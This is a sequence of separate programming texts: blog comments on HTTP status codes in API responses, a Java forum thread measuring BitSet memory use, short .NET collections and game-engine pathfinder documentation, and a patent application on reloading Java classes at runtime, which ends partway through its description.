@Andrew,
Yeah, exactly, I used to do it that way as well - all of my API responses had:
- Success (true / false)
- Errors (arary)
- Data (anything)
... and then the client had to figure out what to do based on the Sucecss / Errors properties.
But, there's something I really like about this status-code based approach since it seems more inline with what is actually going on from the client's point of view.
, change status codes of the response.
In our particular case, we add an additional layer to web facing APIs which are "API Managers". This is what third parties interact with and what changes the headers/sends errors (dumbs things down for third party developers and implements one or more interfaces). Based upon the error caught, the manager changes the response status/headers and also send information about the issue via XML/JSON.
If you use jQuery's ajax function rather than post/get you can really do some great error catching.
@Rocky,
So, 500 error aside (as I think we are all agreeing that this should not be programmatically generated based on user input), are we basically agreeing? It sounds like you are using your API managers to send back a variety of 400 errors based on the user input, which is what I was exploring?
really slick once it's done.
Our server side application stack looks something like:
API Library
System level APIs: Application agnostic. Much like the java package in Java or system namespace in .Net. We moved away from UDFs and custom tags, instead we use these system API libraries we have developed that are shared across many applications. For instance, we have a text datatype that, once initialized, can perform many UDF type functions via methods. Ex: system.security.Cryptography or system.datatype.simple.Text
Application level APIs: Application specific APIs which utilize the system level APIs. This is where the heavy lifting and core business rules are housed. Ex: us.co.k12.thompson.sis.user.User or us.co.k12.thompson.sis.user.UserFactory
Remote API Managers: When we want to expose functionality within the application level APIs, we add another layer to simplify things for third-parties, convert errors that would normally be handled in our Web Framework to what I was speak to above.
Web Applications
Core Web Framework: Custom developed MVC framework that provides basic security, variables, caching, and other core functionality/structure. The framework is based on serving "files", not just web pages. It can just as easily deliver jpg, pdf, xls, as it would xhtml. None of the code is exposed directly to the web, just a single cfm file that reroutes the request to the handlers (for extra security). Again, uses 404 handling to mimic any file request that was made that wasn't handled by the web server. The framework utilizes the system level APIs and does some caching of the APIs for performance (most of them can be cached in the application scope).
Request handlers (i.e. webpages in most cases): What most people code when they develop CF. These utilize the system and application level APIs.. Since the core logic is tied up in the APIs, I can deliver an application functionality to mobile users, standard web users, even third parties mush easier. Just change the presentation layer stuff and you're all set! :)
Boy, I am way off topic. Sorry about that!
@Rocky,
No worries re: going off topic. Sounds like a very interesting architecture you've got going on over there. From everything that people tell me, the more API-based your architecture gets, the more scalable and maintainable your application becomes. Hopefully, as I start to get more and more into OOP, that will happen naturally.
We have a similar setup as Rocky.
We have a backend which only exposes REST services.
It doesn't output any html, js, jsp, .. . (We are capable of running jsp, groovy, jsf, ruby, jython, etc.. but we really choose not to).
We also have a frontend which exists solely out of html/css and js.
Whenever something needs to happen that requires a call to the "database" it goes trough a REST api.
For example:
Take a blog post with some comments, and a user want's to comment on it.
All the frontend related code and markup (ie HTML, CSS, images and JavaScript) are served straight from Apache HTTPD (this is extremely fast).
When the HTML is loaded we execute some JS that retrieves all the "data" that needs to be filled in on the page from a REST service. This will be the blog post + comments.
The user types in his name, email, website and comment and clicks 'Post Comment'. This does an AJAX call to another REST service which adds the comment in the db. If the call was succesfull, we add the comment to the DOM of the page via JS.
A nice benefit of this, is that all these actions only require a single page load.
If we would want to run this on a mobile device we don't have to change anything on our backend since it is exposed via REST. EVERYTHING idea is great, especially for a web "app" that doesn't care about SEO... but for a public website, it seems that could be a limiting factor in SEO and indexing.
@Marc,
For our project it isn't really a requirement, since most (if not all) of our resources are private and related to the logged in user.
Anyway, IIRC google does execute javascript before indexing the page.
A good example (for us at least ;)) might be paging.
Imagine you have a blogpost which has ~500 comments. We show the first/last 50 and then load the following 50 via AJAX. No page reload.
It is up to the implementation to leave a URL that can later be found again.
Something along the lines of
example.com/blog/Using-Appropriate-Status-Codes-With-Each-API-Response.htm#50
Where the #50 resembles the starting point to display comments.
It's not really a clean way, but it is a way to place a URL in the navigation bar of the browser that the client can reliably copy and share.
@Simon,
Sounds awesome; that's the kind of architecture that I'm trying to learn more about. My recent series of "FLEX on jQuery" is meant to do just that. I am trying to learn more about FLEX so I can create richer, thicker clients that rely more on APIs rather than old-school request/response life cycles.
hello ben,
i have implemented above code in project but i m getting error "There was a problem with the API" can you help me
I think the API does feel cleaner this way; and, when something has more conscious intent behind it,
Thanks for this great post.
Note that this comment is not technically correct:
"When using a variety of status codes in jQuery, only 200 responses will be handled by the success callback function;"
jQuery considers a 2XX status or 304 status to be successful.
If you search for this string:
"if ( status >= 200 && status < 300 || status === 304 )"
in jQuery's source code:
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Bitsets and memory consumption
Varun Chopra
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I want to understand memory consumption at Runtime by jvm to allocate objects. Look at the code below.
It creates 20000 bitset objects, each of size 5000 bits. If I serialize these objects on disk, it creates a file of size 12.4mb (as expected). But at runtime in memory, it takes different amount of space.
Code has breaks in between, so as to check how much RAM is consumed at that point.
1. First break is before any bitset object is created.
Java
process takes 13mb RAM at that point.
2. When first 20000 objects are created, RAM consumption is 37mb (a jump of 14mb!!).
3. After 20000 bitset objects are cloned (so there are 2 copies in RAM), consumption is 54 mb (jump of 11 mb)
4. After 20000 bitset objects are cloned for 2nd time (3 copies in RAM), consumption is 64 mb (jump of 10 mb)
5. After 20000 bitset objects are cloned for 3rd time (4 copies in RAM), consumption is 76 mb (jump of 12 mb)
6. After 20000 bitset objects are cloned for 4th time (5 copies in RAM), consumption is 92 mb (jump of 14 mb)
If I look at value of a bitset object at runtime in debugger, I see integer positions of set bits (like {1},{2}......).
My
questions are:
a) are bitsets maintained as bits in RAM or converted to integer positions (or is it just the toString method of
BitSet
!!)?
b) can one explain the memory consumption at runtime little bit?
package pkg1; import java.io.BufferedReader; import java.io.FileOutputStream; import java.io.InputStreamReader; import java.io.ObjectOutputStream; import java.util.ArrayList; import java.util.BitSet; import java.util.List; public class AnyTest { /** * @param args */ public static void main (String[] args) throws Exception { List<BitSet> bits = new ArrayList<BitSet>(20000); BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); System.err.println("Without any bits in ram"); String input = br.readLine(); for (int i=0; i < 20000; i++) { BitSet bs = new BitSet(5000); bs.set(0, 5000); bits.add(bs); } System.err.println("now 1 set in ram"); input = br.readLine(); List<BitSet> bitsCloned = new ArrayList<BitSet>(20000); for (BitSet bit : bits) { bitsCloned.add((BitSet)bit.clone()); } System.err.println("now 2 sets in ram"); input = br.readLine(); List<BitSet> bitsCloned1 = new ArrayList<BitSet>(20000); for (BitSet bit : bits) { bitsCloned1.add((BitSet)bit.clone()); } System.err.println("now 3 sets in ram"); input = br.readLine(); List<BitSet> bitsCloned2 = new ArrayList<BitSet>(20000); for (BitSet bit : bits) { bitsCloned2.add((BitSet)bit.clone()); } System.err.println("now 4 sets in ram"); input = br.readLine(); List<BitSet> bitsCloned3 = new ArrayList<BitSet>(20000); for (BitSet bit : bits) { bitsCloned3.add((BitSet)bit.clone()); } System.err.println("now 5 sets in ram"); input = br.readLine(); // persist now String objfilen = "/home/Office/Desktop/test.obj"; FileOutputStream objfile = new FileOutputStream(objfilen); ObjectOutputStream objout = new ObjectOutputStream(objfile); objout.writeObject((Integer) bits.size()); // Write out the number of objout.writeObject(bits); objout.close(); System.err.println("DONE"); } }
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a) yes the bitsets are maintained as bits. actually its maintained as an array of long. and every long in the array can hold a number of bits. so basically it is loaded into ram the same way the vm loads a long. the toString prints the position by walking trough all positions and see if it is set or not. if it is it prints the position.
b) i suspect the actual increase is roughly 12mb. but a lot of extra factors make it not as consistent. thinking of garbage collection, overhead in the cloning and other things. i am sorry i cannot be more specifick this is purely a guess based on my limited knowledge of the memory management of java
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Well, I don't know how you're measuring the memory being used here, but it's probably not very accurate, based on your results. From my own observations, a large
BitSet
takes one byte for every 8 bits, plus a little extra overhead. Much as you'd expect - looking at the source of
BitSet
, the bits are stored as parts of long values ina a long[] array, with 64 bits in each long. Some implementations may have a very different result.
Here's the code I used to verify it uses 1 byte for every 8 bits (plus minor overhead):
import java.util.BitSet; import java.util.List; import java.util.ArrayList; public class BitSetMemoryUsage { private static long lastUsed; private static List<Object> list = new ArrayList<Object>(100); private static final int SIZE = 8000000; public static void main(String[] args) { showMemoryUsage("initial"); for (int i = 0; i < 10; i++) { list.add(new BitSet(SIZE)); showMemoryUsage("Bitset " + i); } } private static void showMemoryUsage(String label) { for (int i = 0; i < 10; i++) System.gc(); long used = Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory(); System.out.format("%-10s used %10d, change of %+10d%n", label, used, used - lastUsed); lastUsed = used; } }
As you can see, it may take a little time for the results to stabilize, but then they're pretty solid. I guess that's because of other stuff going on inside the JVM, which we can't see. But if you keep adding large BitSets, eventually those other effects go away, and you just see the results of the
BitSet
.
Varun Chopra
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Dec 03, 2009 05:07:45
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Thanks You and Mike for answering.
Mike, I am using top command on Linux and monitoring java process's memory consumption.
I tried your program and yes it does take consistent storage, but if you run the loop for high number of iterations (1000 times for e.g.), you will see that some bits take more space. Here's the output of some bits when I ran your program for 600 loop iterations :
Usual change was +1000056, you can see it keeps on going up for some bits, hence I guess overall overhead is more in total.
Bitset 10 used 11132456, change of +1000064
Bitset 11 used 12135664, change of +1003208
Bitset 100 used 101141056, change of +1000464
Bitset 151 used 152144520, change of +1000664
Bitset 227 used 228149688, change of +1000968
Bitset 341 used 342157440, change of +1001424
Bitset 512 used 513169072, change of +1002112
Mike Simmons
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Most of those would be the
ArrayList
resizing itself. Note that I pre-sized it to 100 (thinking that would be more than enough to avoid this effect).
In JDK 6 at least, the formula it uses when it needs to grow is
int newCapacity = (oldCapacity * 3)/2 + 1;
which explains why at 100 it jumps, then again at 151, then at 227, then 341, then 512.
Offhand I don't know why there would also be a jump at 11 as well, but I'm not too concerned about it. There are probably other things going on in the JVM that we don't know details of.
Varun Chopra
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Good to know that. Thanks Mike.
I agree. Here's the link:
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Collection types are the common variations of data collections, such as hash tables, queues, stacks, bags,. In collections based on the IList interface (such as Array, ArrayList, or List<T>) or directly on the ICollection interface (such as Queue, ConcurrentQueue<T>, Stack, ConcurrentStack<T> or LinkedList<T>), every element contains only a value. In collections based on the IDictionary interface (such as the Hashtable and SortedList classes, the Dictionary<TKey, TValue> and SortedList<TKey, TValue> generic classes), or the ConcurrentDictionary<TKey, TValue> classes, every element contains both a key and a value. The KeyedCollection<TKey, TItem> class is unique because it is a list of values with keys embedded within the values and, therefore, it behaves like a list and like a dictionary.
Generic collections are the best solution to strong typing. However, if your language does not support generics, the System.Collections namespace includes base collections, such as CollectionBase, ReadOnlyCollectionBase, and DictionaryBase, which are abstract base classes that can be extended to create collection classes that are strongly typed. When efficient multi-threaded collection access is required, use the generic collections in the System.Collections.Concurrent namespace.
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Detailed Description
This is a pathfinder property class.
It works closely with pcsteer in order to move an object from one position to another using celgraph to navigate correctly through the map.
This property class can send out the following messages:
- 'cel.move.interrupted' (old 'pcpathfinder_interrupted'): movement has been interrupted.
This property class supports the following actions (add prefix 'cel.move.pathfinder.action.' if you want to access this action through a message):
- Seek: parameters 'sectorname' (string), 'position' (vector3).
- Wander: parameters 'distance' (int).
- Pursue: parameters 'target' (iCelEntity*), 'max_prediction' (float).
- FollowCyclicPath: parameters 'path' (iCelPath*).
- FollowOneWayPath: parameters 'path' (iCelPath*).
- FollowTwoWayPath: parameters 'path' (iCelPath*).
- Interrupt: interrupt the current movement.
This property class supports the following properties:
- position (vector3, read only): current end position.
- active (bool, read only): returns true if currently tracking.
- pursue_max_prediction (float, read/write): current max prediction
- min_distance (float, read/write): current min distance to check when arriving to check points (nodes).
Definition at line 57 of file pathfinder.h.
Member Function Documentation
Interrupt a movement.
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Move to the specified position.
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- propclass/pathfinder.h
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Patent application title: METHOD AND ARRANGEMENT FOR RE-LOADING A CLASS
Inventors:
Evgueni Kabanov (Tartu, EE)
IPC8 Class: AG06F954FI
USPC Class:
719320
Class name: Electrical computers and digital processing systems: interprogram communication or interprocess communication (ipc) high level application control
Publication date: 2008-11-13
Patent application number: 20080282266
Abstract:
The method is for deploying an input class in a computer readable memory.
A state class is created that has at least one field and at least one
proxy method and a behavior class version that includes at least one
method on the basis of the input class. At least one method call of the
state class is redirected to the behavior class version. Also, an
arrangement and a computer-software are disclosed.
Claims:
1. A computer executable method for deploying an input class during
runtime in a computer readable memory, comprising:creating on a basis of
the input class a state class comprising at least one field and at least
one proxy method and a behavior class version comprising at least one
method, andredirecting at least one method call of the state class to the
behavior class version.
2. A method according to claim 1, wherein the input class is a Java® class.
3. A method according to claim 1, wherein a behavior class is determined by a redirecting service.
4. A method according to claim 1, wherein the behavior class version, to which the method call is redirected, is determined during runtime.
5. A method according to claim 1, wherein the creation of state class and behavior class is performed during runtime.
6. A method according to claim 3, wherein the redirecting service invokes at least one method using reflection.
7. A method according to claim 1, a name of a behavior class comprises the version information.
8. A method according to claim 3, a method of a behavior class comprises a call to a method of a class of the redirecting service.
9. A method according to claim 3, the method of the state class comprises a call to a method of a class of the redirecting service.
10. An arrangement for deploying an input class in a computer readable memory during runtime, comprising:means for creating from the input class a state class comprising at least one field and at least one proxy method,means for creating a behavior class version comprising at least one method, andmeans for redirecting at least one method call to the behavior class version.
11. A software method for deploying an input class in a computer readable memory during runtime, comprising:providing a computer executable program code for creating from an original class a state class comprising at least one field and at least one proxy method,creating a behavior class version comprising at least one method, andredirecting at least one state class method call to the behavior class version.
Description:
PRIOR APPLICATION
[0001]This is a US national phase application that claims priority from Finnish Application No. 20070366, filed 9 May, 2007.
TECHNICAL FIELD OF INVENTION
[0002]The invention relates to a method and arrangement for loading classes in a computer system.
BACKGROUND AND SUMMARY OF THE INVENTION
[0003]Development and testing of an application program in environments such as Java® often require constant switching between code writing and running. The re-starting of application e.g. for testing after making changes to the source code is often a quite time and resource consuming task.
[0004]The runtime environments, e.g. Java®, where the application code may be run, are often large and complex. Since the first release of Java® language Java developers could not benefit from rapid development as Java Virtual Machine (JVM) did not support a way to reload classes after they have been loaded at least once by some class loader. Starting the environment and application program for testing may thus require a relatively long time, e.g. even several minutes, because classes of the needed runtime environment along with classes of the application need to be re-loaded even if only one of the application's classes was changed.
[0005]A standard JVM supports reloading class loaders (a standard, modifiable component of a Java environment) along with all their classes. However, in such a case all the current class instances were lost, unless explicitly preserved via e.g. serialization. This was used to support application redeployment, but could not be used for supporting any generic fine-grained reloading.
[0006]Another approach called HotSwap for reloading classes while debugging is known in the prior art. It only allows changing the method bodies, not allowing updates to method signatures, classes and fields. Because of its limitations, this approach does not satisfy most programmers and is rarely used.
[0007]A scientific publication by Mikhail Dmitriev (a dissertation submitted for the Degree of Doctor of Philosophy, Department of Computing Science, University of Glasgow, March 2001) with title "Safe Class and Data Evolution in Large and Long-Lived Java® Applications" provides an overview about some prior art solutions for reloading classes. The publication discusses solutions for the following interrelated areas: consistent and scalable evolution of persistent data and code, optimal build management, and runtime changes to applications.
[0008]U.S. Patent application US20020087958 teaches a method and apparatus of transforming a class. The method involves creating modified class such that each access to class field is replaced by invocation of access function for fetching. In the disclosed method, the class is split and converted into a modified class and/or a helper class.
[0009]After the transformation, a safe class sharing among several processes is achieved whereby the startup times and the memory usage for the processes are reduced. The inter-process communication (IPC) becomes faster.
[0010]U.S. Patent application US20040168163 teaches a system and method for shortening class loading process in Java program. The method and system has a class loader performing linking and initialization processes to generate run time data which is stored in accessible state in memory.
[0011]U.S. Pat. No. 6,901,591 discloses frameworks for invoking methods in virtual machines. The disclosure provides an internal class representation data structure for use by virtual machine at runtime. The data structure comprises method and a reference cell corresponding to the method.
[0012]U.S. Pat. No. 6,092,079 discloses an apparatus and method for updating an object without affecting the unique identity of the object. In the disclosed method, a second object is created which is an instance of a first class. The data from the first object is copied into the second object. The method table pointer of the first object is then changed to the method table of the second class. The data section of the first object is then reallocated according to the data requirements of the second class. The data in the second object is then converted to data in the first object. The resultant first object has both methods and data updated to the second class without passivating the object.
[0013]U.S. Pat. No. 5,974,428 teaches a method and apparatus for class version naming and mapping. In an embodiment of the disclosed invention, a class versioning and mapping system allows a user to request a desired class without knowing which class version is the most recent or correct version for the desired class. The class versioning and mapping system uses a version mapping mechanism to cross reference the requested class, select the most recent or best version of the requested class, and then return an object to the user that belongs to the selected class.
[0014]The prior art fails to teach a method and arrangement that allows efficiently re-loading a changed class into a runtime environment without re-loading a number of other, unchanged classes at the same time. A solution for efficiently re-loading classes whose body, interface and/or attributes have changed, is therefore desired.
[0015]The object of the present invention is to provide a method and system for efficiently re-loading changed classes in a computer arrangement comprising a run-time environment such as Java® Virtual Machine.
[0016]The invention discloses a method, arrangement and computer program to re-load a changed class in a run-time environment.
[0017]Class reloading method and arrangement of the present invention is based on a combined effect of a plurality of functional components. One such functional component comprises a method to split the original class into a state class that will hold the state (i.e. attributes and their values) and a behavior class that will hold static program code derived from the code of the original class. The split may be performed during runtime e.g. by generating the state and behavior classes from the original class and deploying at least one of the generated classes in the runtime environment.
[0018]A further possible component comprises functionality to simulate the signature of the original class in the state class by proxying every method call in the state class through a runtime environment to a method of the last version of the respective behavior class. "Proxying" in this context means e.g. generating a proxy method e.g. in the state class that forwards the method call to another class.
[0019]A yet further possible component comprises functionality to redirect method calls made from the versioned code class through runtime system using reflection to ensure that last version of a behavior class is called. By using reflection, the use of default virtual machine invocation logic may be avoided. Reflection is functionality provided e.g. by a Java runtime environment (JRE).
[0020]In the present invention, actual class reloading into the runtime environment may occur e.g. when the file containing the original class is updated and a new versioned behavior class is created (generated) on the basis of the modified original class. The runtime system of the present invention makes sure that all subsequent method calls will be redirected to the latest version of the behavior class.
[0021]An aspect of the invention is a computer executable method for deploying an input class during runtime in a computer readable memory. The method is characterized in that the method comprises steps of (a) creating on the basis of the input class a state class comprising at least one field and at least one proxy method and a behavior class version comprising at least one method and (b) redirecting at least one method call of the state class to the behavior class version.
[0022]The correct version of the behavior class may be determined e.g. by a redirecting service. The version of the behavior class, to which the method call should be redirected, may further be determined during runtime.
[0023]The creation of the state class and/or the behavior class may be performed during runtime.
[0024]The redirecting service may invoke at least one method using reflection.
[0025]The behavior class may comprise version information.
[0026]A method of said behavior class may comprise a call to a method of a class of the redirecting service.
[0027]The method of the state class may comprise a call to a method of a class of said redirecting service.
[0028]Creating a class in this context means e.g. generating the class and deploying it in the computer readable memory for use of e.g. a runtime environment, e.g. a Java® runtime environment.
[0029]The computer readable memory may contain a runtime environment that may be an object oriented runtime environment, e.g. a Java® runtime environment.
[0030]The class may be a class of any suitable object oriented development and/or runtime environment e.g. a Java® class.
[0031]Another aspect of the invention is an arrangement for deploying an input class in a computer readable memory during runtime. The arrangement is characterized in that it comprises means for (i) creating (generating) from the input class a state class comprising at least one field and at least one proxy method and (ii) means for creating (generating) from the input class a behavior class version comprising at least one method and (iii) means for redirecting at least one state class method call to the behavior class version.
[0032]The correct version of the behavior class to be used may be determined e.g. by the redirecting means.
[0033]Yet another aspect of the invention is software for deploying an input class in a computer readable memory during runtime, said software comprising computer executable program code for (i) creating (generating) from the input class a state class comprising at least one field and at least one proxy method, (ii) creating from the input class a behavior class version comprising at least one method and (iii) redirecting at least one state class method call to the behavior class version.
[0034]The correct version of the behavior class to be used may be determined e.g. by the redirecting program code of the software.
[0035]Some embodiments of the invention are described herein, and further applications and adaptations of the invention will be apparent to those of ordinary skill in the art.
BRIEF DESCRIPTION OF DRAWINGS
[0036]In the following, some embodiments of the invention are described in greater detail with reference to the accompanying drawings in which
[0037]FIG. 1 shows an exemplary method of transforming a class,
[0038]FIG. 2 depicts an exemplary class implementing a redirecting service,
[0039]FIG. 3 shows an example about redirecting a method call to a versioned class through the state class proxy method,
[0040]FIG. 4 shows another example about redirecting a method call to a versioned class directly, and
[0041]FIG. 5 shows yet another example about redirecting method calls between different classes according to an embodiment of the invention.
DETAILED DESCRIPTION OF THE DRAWINGS
[0042]In the following detailed description, words that have a special meaning in Java® development and/or runtime environments and application programming language are written in courier font. Such words are e.g. the reserved words (e.g. static or public) of the Java programming language. Also example code snippets are written using courier font.
[0043]To make a class re-loadable efficiently in a runtime environment according to an embodiment of the invention, the original (input) class written e.g. by an application programmer or generated by an application development environment needs to be transformed into a plurality of classes as shown in FIG. 1. The input class 100 that comprises both fields (also referred to as attributes or member variables) 101 and methods 102 is provided as an input to a transformation component 103 that produces two classes, a state class 104 and a behavior class 107, from the input class 100. In one embodiment, the class transformation process comprises one or more of e.g. following operations to transform the input class into a state class: [0044]Modifiers of state class 104 are the same as class modifiers of input class 100. If the method was "synchronized" (as used in Java® environment) it is omitted. [0045]Superclass of state class 104 (i.e. the class from which the state class inherited) is the same as superclass of the input class 100. [0046]State class 104 implements a RuntimeVersioned marker interface (using standard interface programming means of Java® environment) in addition to input class 100 implemented interfaces to express that there is a versioned behavior class corresponding to the state class 104. [0047]Fields specified in the input class 100 (both static and non-static) are left as is 105 in the state class 104. One or multiple additional "synthetic" fields may be added to the state class 104. [0048]Methods specified in the input class 100 (both static and non-static) are replaced in the state class 104 with proxy methods 106 that redirect the call to the runtime redirector component. The names and signatures of the proxy methods stay as is. [0049]Constructors (methods that create an instance of a class) are transformed as described later in this disclosure. [0050]Static initializers are copied as is.
[0051]The class transformation process also creates (generates) a re-loadable versioned behavior class 107 from the input class 100. This transformation process executed by the transformer component 103 may comprise any number of operations (or all of them) from the following set of operations: [0052]Behavior class 107 is declared "public" and "abstract" using Java® programming means. [0053]The super class of the behavior class 107 is made the same as super class of input class 100. Suitably, the behavior class 107 does not implement any Java® "interface"s. [0054]All fields (both static and non-static as specified in Java environment) of the input class are omitted from the behavior class 107. [0055]Every static method 108 of the behavior class 107 is set to be public. The body of the method is copied applying e.g. the method transformation described later in this disclosure. [0056]Some or all virtual methods 102 are modified to be Java® public static" methods 108 and take the state class 104 as the first parameter. The body of the method is copied applying method transformation described later in this disclosure. [0057]Some or all "constructors" (as known to a Java application developer) are transformed as described later in this disclosure. [0058]"Static initializers" (as known to a Java application developer) are left out.
[0059]In some embodiments, the only connection between the generated classes 104 and 107 is the extra parameter of type class 104 taken by the (ex-virtual) methods in class 107. They do not refer to each other in any other way. The scheme described in FIG. 1 preserves the "extends" relation (object inheritance in Java® environment) between original classes in proxies.
[0060]As part of the transformation process, each method body in the versioned behavior class must be transformed to make calls through the runtime redirector component. This means for example that the INVOKE* and GET*/PUT* instructions of the Java Virtual Machine must be transformed to calls into the runtime redirector component.
[0061]In some embodiments, all method parameters are wrapped into an object array. This involves boxing all basic types into appropriate object wrappers.
[0062]The following table shows an example of how to convert JVM instructions into runtime redirector method calls. In the example, it is assumed that the "parameters" on stack is the wrapped object array of method call parameters.
TABLE-US-00001 JVM Instruction Runtime redirector method INVOKESTATIC C.m:d invokeStatic(parameters, "C", "m", Stack: parameters "d") INVOKEVIRTUAL C.m:d invokeVirtual(target, parameters, Stack: target, "C", "m", "d") parameters INVOKESPECIAL C.m:d if m is private: invokeVirtual Stack: target, (target, parameters, "C", "m", "d") parameters otherwise: invokeSuper(target, Surrounding class: S parameters, "S", "C", "m", "d") INVOKEINTERFACE C.m:d invokeVirtual(target, parameters, Stack: target, "C", "m", "d") parameters GETFIELD C.f:d getFieldValue(target, "C", "f", "d") Stack: target GETSTATIC C.f:d getFieldValue(null, "C", "f", "d") Stack: PUTFIELD C.f:d setFieldValue(target, value, "C", Stack: target, value "f", "d") PUTSTATIC C.f:d setFieldValue(null, value, "C", "f", Stack: value "d")
[0063]After the conversion process the state and behavior classes that have been generated from the input class are now ready for use in an application program that may be already running in a runtime environment. FIG. 2 shows a runtime redirector component of an embodiment of the present invention that has been implemented so that it comprises at least a Redirector class 201 that is associable with a ClassLoader class 200. The Redirector class 201 comprises one or multiple fields 202, e.g. an array of references to versioned classes it manages. The Redirector class 201 also comprises methods 203 needed to perform the redirecting services.
[0064]In one embodiment, the methods 203 comprise for example the following:
TABLE-US-00002 Object getFieldValue(Object obj, String classname, String fieldname, String descriptor) void setFieldValue(Object obj, Object value, String classname, String fieldname, String descriptor) Object invokeVirtual(Object target, Object[ ] parameters, String classname, String methodname, String descriptor) Object invokeStatic(Object target, Object[ ] parameters, String classname, String methodname, String descriptor) Object invokeSuper(Object target, Object[ ] parameters, String fromClassname, String toClassname, String methodname, String descriptor)
[0065]The signatures (list of parameters) of the runtime methods shown above correspond to the JVM INVOKE* and GET*/PUT* instruction parameters. The class name and descriptor parameters are given in JVM internal form (descriptor contains the types of all parameters and return value in case of method). The functionality and use of the JVM instructions and their parameters are well known to a person skilled in the art.
[0066]The purpose of the runtime redirector component is to find the correct version of a behavior class for each method call and redirect the method call to that version of the class. Unlike the default JVM method application, the runtime redirector will first try to find the method in the versioned classes. Thus, if methods have been added, removed or changed to a class during runtime of the application, the changes will be taken into consideration.
[0067]In some embodiments, the calls from methods of a versioned behavior class will be redirected to calls to methods of versioned behavior class directly, without a need to call proxy methods of the corresponding state class. The proxy method of a state class thus serves typically only as a gateway for the non-versioned classes not managed by the runtime redirector component, which can call its methods directly and still benefit from the class reloading.
[0068]Field access methods are needed to access private fields and also handle freshly added fields.
[0069]In some embodiments, the runtime redirector component uses "reflection" (as known to a person skilled in the art of Java® application development) to call the correct method in the end and it requires security bypass to call private methods. In a Java® environment, the reflection API represents, or reflects, the classes, interfaces, and objects in the current Java Virtual Machine. With the reflection API one can for example: [0070]Determine the class of an object. [0071]Get information about a class's modifiers, fields, methods, constructors, and superclasses. [0072]Find out what constants and method declarations belong to an interface. [0073]Create an instance of a class whose name is not known until runtime. [0074]Get and set the value of an object's field, even if the field name is unknown to your program until runtime. [0075]Invoke a method on an object, even if the method is not known until runtime. [0076]Create a new array, whose size and component type are not known until runtime, and then modify the array's components.
[0077]In an embodiment of the invention, the default Reflection API implementation of a standard Java® runtime environment may need to be at least partially overridden to allow redirecting calls to the runtime redirector. Such embodiment makes it possible e.g. to make reflective calls to methods that did not exist originally. Additionally the changes to methods, fields and constructors need to be shown to appear in the API. In one embodiment, this means that the following methods of java.lang.Class class available in a Java® environment must be altered: [0078]getDeclaredMethod( ) and getDeclaredMethods( ) result must reflect added/removed/changed methods of behavior classes accordingly. [0079]getMethod( ) and getMethods( ) result must reflect added/removed/changed public methods of behavior classes in the current and all super classes accordingly. [0080]getDeclaredConstructor( ) and getDeclaredConstructors( ) result must reflect added/removed/changed constructor methods of behavior classes accordingly. [0081]getConstructor( ) and getConstructors( ) result must reflect added/removed/changed constructor methods accordingly. [0082]getDeclaredField( ) and getDeclaredFields( ) result must reflect added/removed/changed static and non-static fields accordingly. [0083]getField( ) and getFields( ) result must reflect added/removed/changed static and non-static public fields in the current and all super classes accordingly. [0084]getInterfaces( ) result should reflect added/removed/changed implemented "interface"s.
[0085]The changes in java.lang.Class class can be done using instrumentation techniques known to a person skilled in the art, causing it to consult e.g. runtime redirector's versioned class directory before returning results.
[0086]FIG. 3 shows a method invocation diagram about redirecting a method call from a state class (104 in FIG. 1) to a correct version of a behavior class (107 in FIG. 1). A method in an object 301 calls method1( ) 305 of class ClassA 302. The class 302 is a state class that has only a proxy of the called method. The proxy method contains a invokeVirtual( ) method call 306 to the Redirector class 303. The Redirector resolves the most recent version of the behavior class 304 and calls the method1( ) 307 of the behavior class. The state class 302 is added as a parameter to the method call 307. Should the method1( ) return a value, it may be returned back to Redirector, further to the state object 302 and finally to the calling client 301.
[0087]FIG. 4 depicts a method invocation diagram about calling a method of a versioned class from another versioned class. The calling class 401 doesn't need to call the state class. Instead, it calls 404 the Redirector 402 that further calls 405 the correct (e.g. latest) version 403 of the behavior class.
[0088]FIG. 5 depicts an overall view about an arrangement of classes according to an embodiment of the present invention. The arrangement comprises a set 500 of unversioned classes 502, 503 and a set 501 of versioned classes 508, 509. One ("ClassA") of the shown unversioned classes 502 is a class that is not associated with the runtime redirector component 505 at all. Another one ("ClassC") of the unversioned classes is a state class 503 that has a corresponding versioned behavior class 508 ("ClassC4") among the set of versioned classes 501. There's also a versioned behavior class 509 ("ClassB1") among the versioned classes that doesn't have a corresponding state class shown in the picture (although such class would exist in a real running system). The runtime redirector 505 is associated with at least one ClassLoader component 506 who loads the versioned 500 and unversioned 501 classes into the computer's memory when needed. ClassLoader should in this context be understood as a ClassLoader of a Java® environment. The ClassLoader 506 has thus an association 513, 514 with the versioned and unversioned classes. When an unversioned class 502 calls a method of a versioned class 508, it must send the method call 504 (e.g. method1( )) to the state class 503 related to the behavior class 508. The state class forwards 507 the method call to the runtime redirector component 505. At this phase, the method call is invokeVirtual ("ClassC", "method1"). (For clarity, some details may be omitted in the examples. Those details are apparent to a person skilled in the art.) The first parameter of this method call identifies the name of the class and the second parameter identifies the name of the method of the class. The redirector runtime determines the correct recipient "ClassC4" 508 for the method call and forwards 511 the call to the class. At this phase, the method call is again method1( ). If a versioned behavior class 508 calls 510 a method of another versioned class 509, the call is sent from the calling class 508 to the redirector runtime 505 as a invokeVirtual ("ClassB", "method2") call 510. In this example, the name of the class is "ClassB" and the method of the class to be called is "method2( )". The runtime redirector resolves the correct version of the versioned behavior class "ClassB1" 509 and sends the method2( ) call 512 to the class.
[0089]In the following, an example with programming code is provided to further illustrate some embodiments of the present invention. For convenience, Java code notation is used in this example although the same principles may be applicable in other object-oriented programming and runtime environments.
[0090]An original (input) class of this example is defined as follows:
TABLE-US-00003 public class C extends X { int y = 5; int method1(int x) { return x + y; } void method2(String s) { System.out.println(s); } }
[0091]The class of the example has name C, it extends (inherits from) class X, it has one field (y) and two methods (method1 and method2).
[0092]In an embodiment of the present invention, the original input class is transformed into two classes, a state class and a behavior class.
[0093]The state class can now be generated from the input class to be as follows.
TABLE-US-00004 public class C extends X { int y = 5; int method1(int x) { Object[ ] o = new Object[l]; o[0] = x; return RedirectorRuntime.invokeVirtual(this, o, "C", "method1", "(I)I"); } void method2(String s) { Object[ ] o = new Object[1]; o[0] = s; return RedirectorRuntime.invokeVirtual( this, o, "C", "method2", "(Ljava/lang/String;)V"); } }
[0094]The behavior class can now be generated from the input class to be as follows:
